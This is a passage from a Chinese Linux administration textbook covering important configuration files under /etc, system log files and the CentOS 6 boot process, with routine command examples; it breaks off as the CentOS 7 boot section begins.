IPV4_FAILURE_FATAL=no

NAME=eth0             #<==第一块网卡的逻辑设备名，第二块为eth1。

UUID=e62dd7a9-92fa-4805-afc9-441b567ad38d #<==通用唯一识别码 (Universally Unique

                                              Identifier)，如果是VMware克隆的

                                              虚拟机，则会无法启动网卡，可以去除此项。

DEVICE=eth0           #<==第一块网卡的逻辑设备名，第二块为eth1。

ONBOOT=yes            #<==这个地方要为yes，才能保证下次开机启动时激活网卡设备。

IPADDR=192.168.2.217  #<==这是虚拟机桥接模式，局域网Linux服务器的固定IP。

PREFIX=24             #<==子网掩码位数，这里是24位。

DNS1=192.168.2.1      #<==主DNS，这里默认会覆盖以及优先于/etc/resolv.conf的配置生效。

GATEWAY=192.168.2.1   #<==局域网上网网关地址。




 
[image: ]提示：更多网卡配置相关的知识请执行less/usr/share/doc/initscripts-*/sysconfig.txt查看。
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图6-6　nmtui命令配置网卡时的配置文件
 
2./etc/resolv.conf：Linux系统DNS客户端配置文件
 
DNS（Domain Name System）在网站的运行中起到了至关重要的作用，其主要负责将网站域名解析为对应的IP地址，例如，将www.etiantian.org解析为对应的IP地址记录（如1.1.1.1），这个从域名到IP地址的解析过程，称作A记录，即Address Record。
 
DNS除了负责解析这个最重要的A记录之外，还有很多其他的功能呢！具体列举如下。
 
·设置CNAME别名记录，这个别名解析功能常被CDN加速服务商应用。

·设置MX邮件记录，这个MX记录功能，在购买或搭建邮件服务时会用到。

·设置PTR记录，反向解析，即将IP地址解析为对应的域名，与A记录的解析相反，邮件服务等业务中会用到。
 
更多的DNS功能，请读者参阅其他图书或者老男孩的高级架构师课程内容。
 
DNS分为服务端和客户端两个部分，本文讲解的是系统上网客户端层面的配置，可通过修改/etc/resolv.conf配置DNS客户端。
 
常见的公用DNS为：223.5.5.5/223.6.6.6/114.114.114.114/114.114.115.115（通过斜线分隔）。
 
配置/etc/resolv.conf方法包含如下两种。
 
第一种是通过图形界面进行配置，在图6-7中依次选择nmtui→“Edit a connection”→“DNS servers”，完成配置。
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图6-7　图形界面修改DNS客户端设置图
 
上述设置实际上是同时修改/etc/sysconfig/network-scripts/ifcfg-eth0和/etc/resolv.conf文件。第二种方法是直接编辑/etc/resolv.conf文件，文件的内容如下：
 


[root@oldboy ~]# cat /etc/resolv.conf

nameserver 8.8.8.8

nameserver 202.106.0.20




 
需要特别注意的是，在网卡配置文件里配置的DNS会覆盖/etc/resolv.conf里的DNS，因此，在新版系统（Cent OS6和Cent OS7）中，一般只配置网卡配置文件的DNS，这种方法也是笔者推荐的配置方法，如果不想在网卡配置里进行配置，则可以选择在/etc/resolv.conf里进行配置，这个配置文件的功能已经变弱了，详细配置情况可以执行man resolv.conf获取细节说明。
 
3./etc/hostname：主机名配置文件
 
/etc/hostname为CentOS7系统主机名的永久配置文件（CentOS6以前为/etc/sysconfig/network），修改主机名可采用如下两种方法。
 
方法1：临时修改法
 


[root@oldboy ~]# hostname www       #<==临时生效。

[root@oldboy ~]# cat /etc/hostname  #<==主机名的配置文件内容没变。

oldboy




 
要想方法1永久生效，需要编辑/etc/hostname进行修改。
 
方法2：永久修改法
 


[root@oldboy ~]# hostnamectl set-hostname www

[root@oldboy ~]# cat /etc/hostname 

www  #<==主机名的配置文件内容随之改变。




 
[image: ]提示：要想立即生效，需要退出当前链接重新登录，此外，还可以通过nmtui来修改主机名。
 
4./etc/hosts：系统本地的DNS解析文件
 
/etc/hosts的作用是设定用户IP与名字（或域名）的对应解析表，相当于本地（局域网内）的DNS解析文件。
 
Linux系统下的这个/etc/hosts类似于C：\WINDOWS\system32\drivers\etc\hosts文件，一般在企业里进行开发或测试工作时会使用host域名解析。在企业服务器的Linux环境下，hosts的解析在机房服务器的互相调用中也很常用。下面给出一个门户网站阿里巴巴的解析的真实案例，通过该案例可以看到hosts文件在企业里的作用。
 
开发、产品、测试等人员将hosts文件用于已通过正式的域名测试但未上线的产品www.etiantian.org，示例如下：
 


hosts解析记录

192.168.2.7  www.etiantian.org




 
此外，在企业里，服务器之间的调用也可以通过域名（内部的DNS）来进行，这种方式可以方便运维人员独立进行服务迁移，而不依赖于开发等人员。
 
主机名的命名必须专业，也就是说要反映出这条解析记录的明确用途，以下是/etc/hosts门户解析案例示例代码：
 


taobao:

172.38.18.23   realtime-search.config-vip.taobao.com

172.65.54.47   tpbk2configslave1.config-host.taobao.com

alibaba:

172.26.58.40 vafd.china.alibaba.com

172.23.54.47 normy1.vip.xyi.cn.alidc.net




 
当然，解析的记录数量太大，在hosts里修改就会比较麻烦，因此大公司还可能会有内部DNS服务，来管理大量主机名/域名和IP之间的解析记录。
 
本地系统也要使用hosts解析，示例代码如下：
 


[root@oldboy ~]# cat /etc/hosts

127.0.0.1  localhost.localdomain  localhost.localdomain  localhost4  localhost4.

    localdomain4  localhost  oldboy  #<==IPV4本地名称解析记录，十分重要。

::1  localhost.localdomain  localhost.localdomain  localhost6  localhost6.

    localdomain6  localhost  oldboy  #<==IPV6本地名称解析记录，十分重要。




 
[image: ]提示：企业中，集群服务器中每台服务器的主机名和自身IP都要在所有服务器的host里做对应解析。
 
例如，下面是笔者教学Web集群实战项目中的若干IP和主机名的对应记录，要配置在每一台服务器中的/etc/hosts里，具体代码如下：
 


127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4

::1         localhost localhost.localdomain localhost6 localhost6.localdomain6

172.16.1.5      lb01

172.16.1.6      lb02

172.16.1.7      web02

172.16.1.8      web01

172.16.1.51     db01 db01.etiantian.org

172.16.1.31     nfs01

172.16.1.41     backup

172.16.1.61     m01




 
5./etc/fstab：配置开机设备自动挂载的文件
 
/etc/fstab是一个重要的文件，其作用是配置开机设备自动挂载。前文已经讲解过了，Linux的设备必须要挂载才能使用，而刚开机时，磁盘都是没有挂载的，因此，系统开机会加载/etc/fstab文件，实现对系统分区的自动挂载，当然，管理员也可以利用这个文件实现对新增磁盘或分区的开机自动挂载功能。
 
/etc/fstab文件一共分为如下6列：
 


[root@oldboy ~]# cat /etc/fstab

# /etc/fstab

# Created by anaconda on Tue Jan 29 20:28:50 2019

# Accessible filesystems, by reference, are maintained under '/dev/disk'

# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info

UUID=441cb930-b1b3-4f48-9a82-61e0753c9110 /            xfs     defaults    0 0

UUID=52581b11-3fbc-4f40-bf39-d7255740da09 /boot        xfs     defaults    0 0

UUID=c9908c87-5555-4f8b-b435-a24ed42f3637 swap         swap    defaults    0 0




 
上述代码段中6列内容的具体说明如下。
 
·第1列为设备的名称或者UUID或者磁盘标签，可以通过blkid查看设备uuid。

·第2列为设备的挂载点，即访问设备的入口。

·第3列为设备的文件系统类型。详细内容可通过man mount查看或参见后文。

·第4列为挂载的属性，详细内容可通过man mount查看或参见后文。

·第5列为是否进行备份。

·第6列为开机时是否做磁盘检查，0为不做检查，1、2为做检查。
 
这个/etc/fstab文件在后文还会进行讲解，读者也可以执行man fstab深入了解。
 
6./etc/rc.local：存放开机自启动程序命令的文件
 
/etc/rc.local是用于存放开机自启动程序命令的文件（CentOS6里的chkconfig常用来管理yum/rpm安装的程序或服务的开机自启动，CentOS7里则使用systemctl命令进行管理）。有时IT人员自己开发的程序需要开机启动，也会习惯性地将启动命令放入/etc/rc.local。Linux开机时会将/etc/rc.local里的内容全部执行一遍，这是Linux运维人员常用的文件。
 
[image: ]特别提示：从CentOS7开始，/etc/rc.local必须要先分配执行权限，里面的脚本才能执行，另外/etc/rc.local是一个软链接文件，它的真实文件所在地为/etc/rc.d/rc.local，因此在使用tar等工具备份的时候要严格注意。
 


[root@oldboy ~]# ls -l /etc/rc.local 

lrwxrwxrwx. 1 root root 13 Jan 29 23:20 /etc/rc.local -> rc.d/rc.local




 
7./etc/inittab：系统启动时设定运行级别等配置的文件
 
/etc/inittab在早期（Centos6以前）是一个指导Linux开机启动的关键文件（CentOS7已将该文件废弃），用于设定系统启动时init进程将系统设置成什么样的运行级别（runlevel），以及加载运行级别对应的启动文件。在CentOS6里，其仅负责设定系统启动时init进程将系统设置成什么样的运行级别，其他的功能已分拆到其他文件里了。
 
简单地说，运行级别，就是Linux系统的不同状态，类似于人的单身、结婚、离婚等标识。从CentOS6起，inittab文件里就仅剩下一个设定运行级别了。示例代码如下：
 


[root@oldboy ~]# cat /etc/inittab 

# inittab is only used by upstart for the default runlevel. #<==只用来设定默认运行级别。

# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.

# System initialization is started by /etc/init/rcS.conf  　#<==系统初始化会转移到/etc/

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　init/rcS.conf。

# Individual runlevels are started by /etc/init/rc.conf  #<==单个运行级别转到/etc/init/

                                                              rc.conf。

# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf  #<==禁止重启也转移了。

# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,  

    #<==终端也转移了。

# with configuration in /etc/sysconfig/init.

# For information on how to write upstart event handlers, or how

# upstart works, see init(5), init(8), and initctl(8).

# Default runlevel. The runlevels used are:

#   0 - halt (Do NOT set initdefault to this)

#   1 - Single user mode

#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)

#   3 - Full multiuser mode

#   4 - unused

#   5 - X11

#   6 - reboot (Do NOT set initdefault to this)

id:3:initdefault:  #<==系统启动时，将Linux设定固定的运行级别的配置行。  




 
Linux系统运行级别的说明如下：
 


#   0  关机（请不要将系统运行级别设置为0）

#   1  单用户模式（忘记root用户密码，可用此模式找回）  

#   2  没有NFS，多用户模式

#   3  命令行模式　文本模式（企业级服务器核心的运行状态）          

#   4  未使用

#   5  图形化模式　桌面模式　X11（桌面个人版系统的运行状态）

#   6  重启（请不要将系统运行级别设置为6）




 
可以通过runlevel命令，查看当前系统的运行级别，示例代码如下：
 


[root@oldboy ~]# runlevel 

N 3 #<==N为上一次的运行级别，3为当前的运行级别。




 
临时修改运行级别（立刻生效）的示例代码如下：
 


[root@oldboy ~]# init 4   #<==将运行级别修改为4，测试（生产服务器不能随意测试）。

[root@oldboy ~]# runlevel

3 4

[root@oldboy ~]# init 3

[root@oldboy ~]# runlevel

4 3




 
如果想要永久修改运行级别，则需要修改/etc/inittab文件最后一行的id：3：initdefault：部分，其中数字部分就是对应的运行级别，需要重启系统使其生效。
 
下面是CentOS6以前的inittab文件，其中不但包含运行级别配置，还包含加载系统初始化脚本、加载各自的运行级别对应脚本、禁止三键重启、加载不同级别的TTY以及桌面设置等的配置信息，具体如下：
 


[root@oldboy ~]# cat /etc/inittab

# inittab       This file describes how the INIT process should set up

#               the system in a certain run-level.

# Author:       Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>

#               Modified for RHS Linux by Marc Ewing and Donnie Barnes

# Default runlevel. The runlevels used by RHS are:

#   0 - halt (Do NOT set initdefault to this)

#   1 - Single user mode

#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)

#   3 - Full multiuser mode

#   4 - unused

#   5 - X11

#   6 - reboot (Do NOT set initdefault to this)

id:3:initdefault:  #<==启动时对Linux设定固定的运行级别。

# System initialization. 

si::sysinit:/etc/rc.d/rc.sysinit #<==执行rc.sysinit进行系统初始化。

l0:0:wait:/etc/rc.d/rc 0         #<==以下是对应7个运行级别的目录。

l1:1:wait:/etc/rc.d/rc 1

l2:2:wait:/etc/rc.d/rc 2

l3:3:wait:/etc/rc.d/rc 3

l4:4:wait:/etc/rc.d/rc 4

l5:5:wait:/etc/rc.d/rc 5

l6:6:wait:/etc/rc.d/rc 6

# Trap CTRL-ALT-DELETE

ca::ctrlaltdel:/sbin/shutdown -t3 -r now #<==禁止三键重启，破坏系统。

# When our UPS tells us power has failed, assume we have a few minutes

# of power left.  Schedule a shutdown for 2 minutes from now.

# This does, of course, assume you have powerd installed and your

# UPS connected and working correctly.  #<==UPS电源相关。

pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.

pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run gettys in standard runlevels

1:2345:respawn:/sbin/mingetty tty1   #<==以下是在不同级别下加载TTY终端的设置。

2:2345:respawn:/sbin/mingetty tty2

3:2345:respawn:/sbin/mingetty tty3

4:2345:respawn:/sbin/mingetty tty4

5:2345:respawn:/sbin/mingetty tty5

6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5

x:5:respawn:/etc/X11/prefdm -nodaemon #<==加载桌面程序的设置。




 
[image: ]特别补充：上述讲解都是CentOS7以前版本的系统，CentOS7以后版本的变化很大，具体帮助就在/etc/inittab文件里，只不过内容是英文的，相关翻译及操作如下：
 


[root@oldboy ~]# cat /etc/inittab #<==CentOS7下的inittab内容说明。

# inittab is no longer used when using systemd.

# 当使用systemd方式启动系统时，inittab文件不再使用了。

# ADDING CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.

# 在此文件中添加任何配置，都不起作用了。

# Ctrl-Alt-Delete is handled by /usr/lib/systemd/system/ctrl-alt-del.target

# 本文件中的Ctrl-Alt-Delete3键重启功能在/usr/lib/systemd/system/ctrl-alt-del.target中

# systemd uses 'targets' instead of runlevels. By default, there are two main targets:

# systemd启动方式使用targets，而不是runlevel，默认情况下有两个主要的targets。

# multi-user.target: analogous to runlevel 3 #多用户文本模式，3运行级别。

# graphical.target: analogous to runlevel 5  #图形模式，5运行级别。

# To view current default target, run: systemctl get-default

# 若要查看当前的默认运行级别，则运行systemctl get-default命令。

# To set a default target, run:# systemctl set-default graphical.target

# 若要设置一个默认的运行级别，则运行systemctl set-default TARGET.target。




 
8./etc/profile及/etc/bashrc：配置系统的环境变量/别名等的文件
 
环境变量如PS1、TMOUT、HISTSIZE、HISTFILESIZE都可以存放在/etc/profile或/etc/bashrc这个文件中，并且全局生效。“~/.bash_profile”及“~/.bashrc”表示在当前用户中生效。
 
[image: ]说明：“~”表示当前用户的家目录，以“.”开头的文件或目录是隐藏的，需要执行ls-a查看。
 
上述环境变量文件的生效顺序如图6-8所示，该图展示了登录Shell读取环境变量文件的流程。
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图6-8　环境变量文件生效顺序流程
 
9./etc/profile.d：用户登录后执行的脚本所在的目录
 
/etc/profile.d为加载系统登录程序的目录，目录里面的程序以文件的形式存在（一般以“*.sh”为扩展名），但要可执行，示例代码如下：
 


[root@oldboy ~]# cat /etc/profile.d/oldboy.sh 

echo "welcome to oldboy linux training from /etc/profile.d"




 
/etc/profile.d是登录后执行的脚本所在地，在老男孩的《跟老男孩学Linux运维：Shell编程实战》一书中，讲解跳板机项目时，就是通过加载/etc/profile.d里面的脚本来登录的，登录后即出现跳板机的管理页面。
 
10./etc/issue和/etc/issue.net：配置在用户登录终端前显示信息的文件
 
/etc/issue和/etc/issue.net文件的作用是将用户登录真实终端（接显示器）前的信息显示出来，如图6-9所示。
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图6-9　issue用户登录之前显示的信息
 
/etc/issue文件的内容展示如下：
 


[root@oldboy ~]# cat /etc/issue.net 

\S

Kernel \r on an \m




 
在企业服务器中，为了防止泄露服务器版本，一般会将issue文件的内容清空。
 
11./etc/init.d：软件启动程序所在的目录（CentOS7以前）
 
这个目录可用来存放通过yum或rpm工具安装的软件的默认启动程序（启动脚本）的目录。例如，sshd服务的/etc/init.d/sshd restart（相当于是service sshd restart），IT人员人为开发的软件服务启动程序也可以放置在这里，在CentOS7中该目录也已经废弃不用了，统一由systemctl取代，例如，重启sshd服务的命令为systemctl restart sshd.service。
 
12./etc/motd：配置用户登录系统之后显示提示内容的文件
 
/etc/motd文件配置的是用户登录系统之后显示的内容，相当于登录后的一个提示作用，默认是空的。示例代码如下：
 


[root@oldboy ~]# cat /etc/motd 

[root@oldboy ~]# echo 'I am oldboy teacher.' >>/etc/motd

[root@oldboy ~]# cat /etc/motd 

I am oldboy teacher.

[d:\~]$                           #<==连接已经断开

Connecting to 192.168.2.217:22...

Connection established.

To escape to local shell, press 'Ctrl+Alt+]'.

Last login: Thu Jan 31 14:31:14 2019 from oldboy-pc.lan

I am oldboy teacher.              #<==这就是登录之后显示的信息




 
13./etc/redhat-release：声明Red Hat版本号和名称信息的文件
 
/etc/redhat-release是用于声明Red Hat版本号和名称信息的文件，如果需要查看系统的版本等信息，可以读取这个文件进行查看。示例代码如下：
 


     [root@oldboy ~]# cat /etc/redhat-release 

     CentOS Linux release 7.6.1810 (Core)




 
14./etc/sysctl.conf：Linux内核参数设置文件
 
这是一个涉及Linux系统性能调优的极其重要的文件，作用是设置Linux内核参数，可用来替代系统默认运行的内核参数，让系统运行得更高效。管理员可以通过sysctl-a命令查询可以设置的内核参数信息，修改sysctl.conf完毕后，执行sysctl-p使得修改的信息生效，这部分内容比较复杂，在后文Linux基础优化章节会进行深入阐述，读者可以执行man sysctl.conf命令查看该配置文件的相关帮助，设置相关参数后的运行情况可以通过读取/proc下的信息文件进行查看。CentOS7下的内核配置，还可以通过不同的文件分类进行设置，示例代码如下：
 


[root@oldboy etc]# ls -ld /etc/sysctl.d/ /usr/lib/sysctl.d/

drwxr-xr-x. 2 root root 28 Jan 14 23:10 /etc/sysctl.d/

drwxr-xr-x. 2 root root 85 Jan 29 23:20 /usr/lib/sysctl.d/




 
15./etc下重要目录文件的汇总小结
 
表6-3中的文件和目录，是初学者需要了解和掌握的知识。
 
表6-3　/etc下的重要目录列表
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6.4.2　/usr目录的重要知识介绍
 
1./usr/local/：编译安装软件默认的位置路径
 
这个目录一般是用来存放用户自编译安装软件的目录的，对于通过源码包安装的软件，如果没有特别指定安装目录的话，一般会安装在这个目录中，相当于Windows系统下的c：\Program files。
 
2./usr/src：存放源码文件的目录
 
这个目录一般被用来存放在网上下载的软件源代码，当然了，这也是可选的，你可以根据需要进行更改。
 
6.4.3　/var目录下的路径知识
 
1./var/log：记录系统及软件运行信息文件所在的目录
 
/var/log目录中包含了大量记录系统及软件服务运行的日志文件，通过这些日志文件，我们可以知道系统的运行情况及故障原因，其中典型的文本日志请参见表6-4。
 
表6-4　典型的日志文件列表
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2./var/log/messages：系统级别日志文件
 
/var/log/messages是系统默认的日志文件，这个文件非常重要，当系统及软件遇到运行故障时，可以查看这个日志文件以获取故障信息，该文件按周自动轮循（一周来一刀，每周切割一次）。示例代码如下：
 


[root@oldboy ~]# ls -l /var/log/messages*

-rw-------. 1 root root   1220 Mar 11 11:16 /var/log/messages

-rw-------. 1 root root 197206 Mar 11 03:05 /var/log/messages-20180311




 
上述轮询日志由/etc/logrotate.conf和/etc/logrotate.d/syslog控制。
 
3./var/log/secure：用户登录信息日志文件
 
这是一个有关系统安全的日志文件，日志中会记录“谁，在什么时候，从哪登录到系统，登录是否成功”等信息。ssh、telnet、ftp等服务的用户登录信息都会记录在此。示例代码如下：
 


[root@oldboy ~]# cat /var/log/secure

Mar 11 05:16:01 www sshd[2542]: pam_unix(sshd:session): session closed for user root

Mar 11 12:00:25 www sshd[3932]: Accepted password for root from 192.168.2.1 port 52077 ssh2

Mar 11 12:00:25 www sshd[3932]: pam_unix(sshd:session): session opened for user root by (uid=0)




 
该文件与messages文件一样，也是按周自动轮循的。示例代码如下：
 


[root@oldboy ~]# ls -l /var/log/secure*

-rw-------. 1 root root  270 Mar 11 12:00 /var/log/secure

-rw-------. 1 root root 3796 Mar 11 03:05 /var/log/secure-20180311




 
4./var/log/dmesg：记录硬件信息加载情况的日志文件
 
当硬件及系统内核出现问题时，可以查看这个日志文件，在解决问题时没准会有额外的收获，读者也可以通过dmesg命令来收集相关信息，为能读懂的人提供解决问题的依据。示例代码如下：
 


[root@oldboy log]# dmesg>oldboy.log

[root@oldboy log]# tail -5 oldboy.log 

e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None

e1000: eth0 NIC Link is Down

e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None

e1000: eth0 NIC Link is Down

e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None

提示：系统开机加载完硬件后，会执行dmesg将信息输入到/var/log/dmesg中。




 
6.4.4　/proc下的重要路径知识
 
/proc是Linux系统下的一个重要的虚拟文件系统，记录着内核和进程方方面面的信息，它是一个很重要的信息宝库，表6-5是最常用的信息文件列表。
 
表6-5　/proc常用的信息文件列表
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6.5　Linux（CentOS6）系统启动流程说明（重点）
 
系统管理员需要理解Linux系统的启动流程，这样才能对系统启动时出现的异常进行快速排查。在企业面试时，经常会有面试官让面试者描述Linux的启动流程细节，基于此，下面笔者就为大家简要介绍下Linux系统的启动流程，读者掌握本节的内容就够了，无须过多过细陷入无用知识的泥潭。
 
第一步：开启开机按钮，计算机加载BIOS自检。
 
打开计算机电源，计算机首先会加载BIOS（主板上的一块芯片，第0章已经讲解过了）信息，进而对CPU信息、设备启动顺序信息、硬盘信息、内存信息、时钟信息等进行自检。当正确检查完所有硬件信息后，计算机就会根据BIOS里的设置去读取相应的启动系统里的硬件设备，如果预先设定了从硬盘启动加载系统，那么BIOS就会读取硬盘的MBR（即0磁道0柱面1扇区的前446字节），接下来才开始加载内核文件，然后交由Linux来控制系统运行。相关的图解如图6-10和图6-11所示。
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图6-10　计算机电源按钮
 
 
 [image: ] 


图6-11　计算机BIOS管理界面

 
第二步：读取MBR信息。
 
MBR全称为Master Boot Record，中文的意思是主引导记录，它位于磁盘上的0柱面0磁道1扇区，整个大小是512字节，MBR里面存放了系统预启动信息、分区表信息及分区标志等。
 
在MBR的512字节中，第一部分为引导记录区，占有前446字节大小，其作用是找到标记为活动的分区，并将活动分区的引导记录读入内存。
 
第二部分为分区表，占有后面剩下全部的66字节大小，用于记录磁盘的分区信息，这其中，前64字节是磁盘分区表信息，后2字节是分区的结束标志（后文会详解磁盘分区表）。
 
计算机读取BIOS所指定的磁盘MBR信息之后，就会将其读入到内存中。被读入到内存中执行的其实就是Boot Loader（引导加载程序），对应于Linux系统，就是加载Grub信息。
 
第三步：加载Grub菜单（Boot Loader，引导加载程序）。
 
引导加载程序（Boot Loader）是计算机在加载操作系统内核之前运行的一段小程序。这段小程序可以初始化硬件设备、建立内存空间的映射图，从而将系统的软硬件环境加载到一个适合的状态，以便为最终调用操作系统内核做好准备。通常，引导加载的程序依赖于硬件实现，早期的Linux系统常见的引导加载程序包含2种，即Grub和Lilo，现如今Grub已经成为了主流（类似于Windows下的boot.ini引导文件）。
 
引导加载程序读取grub.conf文件的配置信息，然后根据对应的配置信息来启动不同的操作系统，grub.conf的配置信息及详解如下所示：
 


[root@oldboy boot]# cat /etc/grub.conf #<==也可读取/boot/grub/menu.lst或

　　　　　　　　　　　　　　　　　　　　　　　　　/boot/grub/grub.conf。

...此处省略多行注释信息，其实这里的注释已经解释得很清楚了，只是90%的初学者不会看这里...

default=0 #<==默认情况下如何加载系统，0表示加载菜单中对应的第一个名字，多系统时可以调节

　　　　　　　　 默认加载项。

timeout=5 #<==表示多少秒之后开始加载默认的系统，为管理员提前选择留出时间。

splashimage=(hd0,0)/grub/splash.xpm.gz  #<==启动时显示的背景图标，(hd0,0)代表/boot

                                             分区。

hiddenmenu  #<==系统启动时，会隐藏启动菜单信息，按默认设置即可启动系统，除非用户按键干预。

password [–md5|–encrypted ] STRING      #<==编辑Grub菜单时需要认证，Linux优化之一，

                                            默认为没有。

title CentOS 6 (2.6.32-696.el6.x86_64)  #<==要启动的系统对应的项目名称，可按需修改。

root (hd0,0)  #<==引导内核文件和内核所需驱动文件所在的分区，(hd0,0)代表/boot分区。

    #<==其中hd0表示计算机的第一块磁盘，(hd0,0)中逗号后面的0表示第一个分区,即(hd0,0)表示第一块磁盘的第一个分区，即/dev/sda1（分区通常是最先独立分出的/boot分区，对应的设备名就是sda1）。

kernel /vmlinuz-2.6.32-696.el6.x86_64 ro root=UUID=491eabe5-e6c0-4457-9bdb-b37cc6751308 rd_NO_LUKS rd_NO_LVM LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16 crashkernel=auto  KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet  #<==位于boot分区上的内核文件，及一堆可选内核参数。

    #<==/vmlinuz-2.6.32-696.el6.x86_64为内核文件。root=UUID=后面一串数字表示根对应的设备信息（/dev/sda3），其他介绍的作用不大，忽略即可。

initrd /initramfs-2.6.32-696.el6.x86_64.img  #<==内核启动所需的驱动文件的所在地，存在于boot区。




 
[image: ]提示：grub.conf的知识其实在企业Linux运维中用途不是很大，这里讲解Grub的目的是，希望能为读者了解Linux系统的整个启动流程做铺垫，RHCE认证课程会有修复grub.conf的考题，其实没什么大用，因为在IT网站的运维工作中，极少会在线处理问题，出了问题也是直接切换服务了，之后再来慢慢研究是修复还是重装。
 
在加载Grub菜单的过程中，如果按Esc键，即可停在原来处于隐藏状态下的Grub菜单中，如图6-12所示。
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图6-12　Grub启动菜单
 
菜单中只有一个选项，底下的小字表示可以做一些特殊的设置提示，例如，设置内核参数、加载单用户模式等。随便设置加载Grub启动参数也是会存在安全隐患的，因此，工作中可以为Grub添加密码以将其锁定（见后文Linux系统基础优化部分）。
 
第四步：加载kernel内核以及驱动程序。
 
根据Grub设定的内核映像所在的路径，系统会读取内存映像，并进行解压缩操作。完成解压缩内核之后，屏幕会输出“OK，booting the kernel”的信息。其实就是根据grub.conf中的如下设置加载内核及相关参数：
 


kernel /vmlinuz-2.6.32-696.el6.x86_64 ro root=UUID=491eabe5-e6c0-4457-9bdb-b37cc6751308 rd_NO_LUKS rd_NO_LVM LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16 crashkernel=auto  KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet




 
此外，还会加载内核所需的驱动程序文件，进而挂载并读取根分区的信息，加载操作系统文件。示例代码如下：
 


initrd /initramfs-2.6.32-696.el6.x86_64.img




 
第五步：启动init进程，读取inittab文件。
 
加载完内核的相关文件以后，系统第一个运行的程序为/sbin/init，因此，init进程对应的进程号永远为1，相当于是所有Linux进程的祖先。
 
此时init程序会读取/etc/inittab文件，并依据此文件来进行初始化工作。其实CentOS6以来的/etc/inittab文件最主要的作用就是设定了Linux以什么样的运行等级启动，其设定配置是“id：3：initdefault：”，其中的3就是表明Linux需要运行在3级别上，更多运行级别上文已经讲解过。
 
第六步：init进程执行rc.sysinit初始化系统。
 
在CentOS6以前的版本中，init进程会根据inittab的设置加载/etc/rc.d/rc.sysinit，并进行初始化，系统设置包括但不限于如下内容。
 
设置主机名、设置欢迎信息、激活udev和selinux、加载/etc/fstab（挂载磁盘设备等）、设置系统时钟、读取/etc/sysctl.conf设置内核参数、激活lvm及software raid设备、加载额外设备的驱动程序、各种清理操作（如清理日志）等。
 
有兴趣的读者可以浏览/etc/rc.d/rc.sysinit文件查看细节。
 
CentOS6以后，init进程不再读取inittab加载/etc/rc.d/rc.sysinit了，而是读取/etc/init/rcS.conf文件加载/etc/rc.d/rc.sysinit，并对系统进行初始化系统设置，网上的文章大多数讲的还是CentOS6以前的加载方式，在开机过程中按esc键可以看到，rc.sysinit脚本初始化硬件信息的执行过程如图6-13所示。
 
第七步：init进程加载内核相关模块。
 
CentOS5下是读取/etc/modules.conf文件或/etc/modules.d目录下的文件来加载内核模块，而在CentOS6下则是加载/etc/sysconfig/modules/下的内核模块。图6-13中结尾的一行就是加载内核模块的相关信息。
 
第八步：init进程执行对应运行级别下的脚本。
 
根据系统设定运行级别的不同，系统会运行rc0.d到rc6.d中的相应脚本程序，从而完成相应的初始化工作，以及启动相应的服务。
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图6-13　rc.sysinit脚本初始化硬件信息的执行过程
 
需要特别说明的是，在CentOS6以后的版本中，init进程不再读取inittab加载运行级别对应的脚本了，而是读取/etc/init/rc.conf加载指定运行级别下的脚本，对应运行级别的脚本目录如下所示：
 


[root@oldboy ~]# ls /etc/rc.d -l

total 60

drwxr-xr-x. 2 root root  4096 Mar  8 09:55 rc0.d      #<==0运行级别对应的脚本目录。

drwxr-xr-x. 2 root root  4096 Mar  8 09:55 rc1.d      #<==1运行级别对应的脚本目录。

drwxr-xr-x. 2 root root  4096 Mar  8 09:55 rc2.d      #<==2运行级别对应的脚本目录。

drwxr-xr-x. 2 root root  4096 Mar  8 09:55 rc3.d      #<==3运行级别对应的脚本目录。

drwxr-xr-x. 2 root root  4096 Mar  8 09:55 rc4.d      #<==4运行级别对应的脚本目录。

drwxr-xr-x. 2 root root  4096 Mar  8 09:55 rc5.d      #<==5运行级别对应的脚本目录。

drwxr-xr-x. 2 root root  4096 Mar  8 09:55 rc6.d      #<==6运行级别对应的脚本目录。

-rwxr-xr-x. 1 root root   220 Mar 23  2017 rc.local   #<==开机自启动程序配置文件。

-rwxr-xr-x. 1 root root 20199 Mar 23  2017 rc.sysinit #<==初始化系统脚本。




 
在开机过程中按Esc键，也可以看到系统根据运行级别加载对应运行级别下脚本的执行过程，如图6-14所示。
 
第九步：加载/etc/rc.local。
 
rc.local就是在系统做好一切初始化工作之后，留给管理员自主设置的一个文件。可以将需要跟随计算机启动的程序启动命令放置到这里。
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图6-14　根据运行级别加载对应运行级别下脚本执行过程图
 
第十步：启动mingetty，进入登录前的状态。
 
系统读取/etc/init/tty.conf（早期也是读取inittab进行设置的），设置对应运行级别的终端，启动mingetty，进入登录前的状态，如图6-15所示。
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图6-15　登录前的界面
 
此时，输入用户及密码即可登录Linux系统，整个启动过程中的完整图解如图6-16所示。
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图6-16　Linux启动流程图解（CentOS6.9）
6.6　Linux（CentOS7）系统启动流程说明（重点）
 
CentOS7和CentOS6的启动流程绝大部分还是相同的，但也有一些小区别，例如，CentOS6下第一个启动的init进程被改为了systemd（并行启动模式），下面重点说一下CentOS7加载systemd进程后的启动流程，即从CentOS6启动流程的第五步开始讲起，前四步与CentOS6启动流程的描述一致。
 
第五步：启动systemd进程，加载如下文件。
 
